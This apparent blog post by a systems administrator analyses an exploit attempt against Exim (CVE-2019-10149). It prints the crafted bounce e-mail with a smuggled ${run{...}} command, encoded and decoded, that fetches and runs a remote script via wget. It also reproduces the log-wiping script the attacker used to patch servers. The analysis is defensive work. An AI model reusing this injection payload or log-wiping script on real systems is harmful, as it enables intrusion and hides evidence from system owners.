The Exim vulnerability(CVE-2019-10149) is one of the more unique vulnerabilities we’ve seen in quite a while. The reason why this vulnerability so unique is because it takes an attacker seven days to exploit and run remote code on a vulnerable system. That’s seven days of waiting while a specially crafted e-mail sits in an Exim mail queue waiting to be triggered. This time delays quite helpful and catching malicious e-mails that wish to exploit this vulnerability. I won’t go into details of how the vulnerability works since this information can be found at dozens of other sources online.

For a Systems Administrator, the update and patch to this issue can be done quickly. However, patches and updates should only be applied during designated preplanned maintenance Windows. So in the days following the vulnerability release, I had to watch the mail queues of a few different servers before their plan maintenance. Since the vulnerability is trivial to exploit there were several different attempts to compromise systems before they were patched.

For each of the attempts to exploit one of the systems under my responsibility, I diligently work through the logs to discover where the attacker is coming from(IP Addresses). With this information, I will file multiple abuse reports in an attempt to get the attacker’s infrastructure taken down. This by no means stops an attacker but I like to think that it at least slows them down. As I worked through the different exploit attempts I came across one which was the definition of a Gray-Hat exploit.

Starting down the rabbit hole

Let’s begin by taking a look at the specially crafted e-mail.

Received: from mailnull by redacted.redacted.com with local (Exim 4.91)
	id 1hflcM-0005Cq-OZ
	for [email protected]; Tue, 25 Jun 2019 06:36:14 -0700
X-Failed-Recipients: root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2fse\x20\x2dO\x20se\x3bchmod\x20\x2bx\x20se\x3b\x2e\x2fse\x22}}@redacted.redacted.com
Auto-Submitted: auto-replied
From: Mail Delivery System <[email protected]>
To: [email protected]
Content-Type: multipart/report; report-type=delivery-status; boundary=1561469774-eximdsn-1804289383
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <[email protected]>
Date: Tue, 25 Jun 2019 06:36:14 -0700

--1561469774-eximdsn-1804289383
Content-type: text/plain; charset=us-ascii

Here is a more simplified view.

The key detail here is the below string in the message.

root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2fse\x20\x2dO\x20se\x3bchmod\x20\x2bx\x20se\x3b\x2e\x2fse\x22}}@redacted.redacted.com

The above is a mixture of normal ASCII characters and hex encoded characters. The hex encoding is used to represent spaces and other special characters that would not normally be allowed. We can use a simple decoder on these to see what the command the exploit is going to attempt to run.

Below is the decoded version.

root+${run{/bin/sh\t-c\t"wget 64.50.180.45/se -O se;chmod +x se;./se"}}@redacted.redacted.com

After seven days of waiting the exploit will finally trigger running the below bash commands. This is pretty straightforward download the script named “se”, set the execute permissions on the newly downloaded script, and then execute the script.

wget 64.50.180.45/se -O se 
chmod +x se 
./se

In order to find out what our attacker planned to do, I will need to download the script and examine the contents of it. So I fired up a segmented off virtual machine to download the attacker’s script.

Now let’s open up the script and take a look at what was going to run on the system.

#!/bin/bash 
printf '' > /var/log/exim_mainlog 
printf '' > /var/log/exim_rejectlog 
printf '' > /var/log/exim_paniclog 
chattr -i /etc/exim.conf 
c1=`cat /etc/exim.conf | grep "acl_smtp_rcpt = acl_checksec_rcpt"` 
if [ "$c1" != "" ]; then 
    sed -i 's/acl_smtp_rcpt = acl_checksec_rcpt/acl_smtp_rcpt = acl_smtp_rcpt/g' /etc/exim.conf 
fi 
check=`cat /etc/exim.conf | grep "acl_smtp_rcpt = acl_smtp_rcpt"` 
if [ "$check" == "" ]; then 
    echo "Error. Already patched?" 
    exit 
fi 
check=`cat /etc/exim.conf | grep "deny message = Restricted characters in address"` 
if [ "$check" != "" ]; then 
        echo "Error. Already patched?" 
        exit 
fi 
start=`cat /etc/exim.conf | grep -n "acl_smtp_rcpt:" | head -n 1 | cut -f 1 -d :` 
if [ "$start" == "" ]; then 
    echo "Cannot find acl_smtp_rcpt" 
    exit 
fi 
end=`expr $start + 1` 
cat /etc/exim.conf | head -n $start > /var/tmpfile 
echo ' 
deny message = Restricted characters in address 
domains = +local_domains 
local_parts = ^[.] : ^.*[@%!/|] : ^.*\N\${run{\N.*}} 
deny message = Restricted characters in address 
domains = !+local_domains 
local_parts = ^[./|] : ^.*[@%!] : ^.*/\\.\\./ : ^.*\N\${run{\N.*}} 
' >> /var/tmpfile 
cat /etc/exim.conf | tail -n +"$end" >> /var/tmpfile 
cp /etc/exim.conf /etc/exim.conf.bak 
mv /var/tmpfile /etc/exim.conf 
chmod 0644 /etc/exim.conf 
/sbin/service exim reload 
rm -rf se

Wait, What?

I read through the script a couple of times to confirm just what I was seeing and that I was understanding the code correctly. What I expected was a script that would install further exploits and set up a permanent back door for access to the system. What I found was nothing of the sort.

Here’s a quick summary of what the code is doing when it executes.

Wipes the logs and all evidence of its intrusion.
Removes the immutable attribute from the Exim config file.
Searches through the Exim file for different settings in an attempt to verify if the system has already been patched.
If the Exim file has not been patched it will then apply the patch which disallows special characters inside the recipient’s field.
Creates a backup of the old Exim config file and updates the new Exim config file with the changes.
Restarts the Exim service.
Then deletes itself!

This thing basically breaks in, patches your system, and then deletes itself. Doing no harm to the system whatsoever. However, even though the attacker is clearly doing something good, how he’s going about it is still illegal. This is like a burglar breaking into your home just to install a new security system so no one else can break in, then leave without doing any harm. I was so pleasantly surprised by this that I still have not reported this intrusion and the servers this is running on.

The funny thing is that there is no known workaround that I can find anywhere online. The only solution to the vulnerability that I can find is to update to Exim version 4.92. However, our Gray-Hat hacker friend seems to have found a configuration workaround to prevent the exploit from running.